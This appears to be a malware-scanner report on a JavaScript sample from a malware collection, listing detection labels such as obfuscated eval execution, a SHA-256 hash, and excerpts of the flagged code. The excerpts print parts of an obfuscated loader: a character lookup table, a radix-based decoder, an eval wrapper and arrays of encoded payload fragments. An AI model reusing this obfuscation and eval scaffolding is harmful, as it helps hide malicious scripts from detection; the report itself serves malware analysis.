Suspicious ^80% javascript-malware-collection Download

20151210_44c654d0dc6c451987312282752c3e36.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256a4d1ea93469c0a10066d78a2b899eb35c11029a34079d986f212aa742329739f

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var dWSJQBHmPSIBy=[];
2RnfTHlW=(-414+414)/185;while(true){if(RnfTHlW>=(42765+627)/339){break;}dWSJQBHmPSIBy[RnfTHlW]=String.fromCharCode(RnfTHlW);RnfTHlW++;}
3function trIvf(mMEArXPUeGC,oYfWSoQTIxSdY,pGqIkKnN){Zesy=parseInt(mMEArXPUeGC,oYfWSoQTIxSdY);GwvwY=Zesy.toString(pGqIkKnN);return GwvwY;}function gUJwcnvRWQlVcRO(TwNobRfSyRVfyMFAw){eval(TwNobRfSyRVfyMFAw)}
4function jTYeFHgpzTpnCHZqteMHEjIkZDKDjDdlccWbCcaQvqwRjOmnZcuKQv(twsrjuYIvOstE,QOyuAsUFSEvClX){ return dWSJQBHmPSIBy[trIvf(twsrjuYIvOstE[QOyuAsUFSEvClX],(20405+245)/826,(8516+524)/904)];}
5function CyQiCEy(MEcUfrthxswnoIyuFUIwrOfpyCHXOhDrObSv) {return !isNaN(parseFloat(MEcUfrthxswnoIyuFUIwrOfpyCHXOhDrObSv)) && isFinite(MEcUfrthxswnoIyuFUIwrOfpyCHXOhDrObSv);}
6function lVHIFeoxqnc(XfrtrfUY,NQYuFL){return XfrtrfUY.split(NQYuFL)}
7var N=[];N[0]="d";N[1]="a";N[2]="d";N[3]="a";N[4]="4i";N[5]="3m";N[6]="4e";N[7]="17";N[8]="33";N[9]="17";N[10]="2b";N …

Massive array index assignment line 8

8:4312… ";z[860]="4g";z[861]="4e";z[862]="4l";z[863]="17";z[864]="17";z[865]="4n";z[866]="d";z[867]="a";z[868]="17";z[869]="17";z[870]="17";z[871]="17";z[872]="17";z[873]="17";z[874]="17";z[875]="17";z[876]="17";z[877]="17";z[878]="45";z[879]="42";z[880]="17";z[881]="1f";z[882]="1f";z[883]="1f";z[884]="4a";z[885]="41";z[886]="4j";z[887]="17";z[888]="2i";z[889]="3m";z[890]="4g";z[891]="41";z[892]="1f";z[893]="1g";z …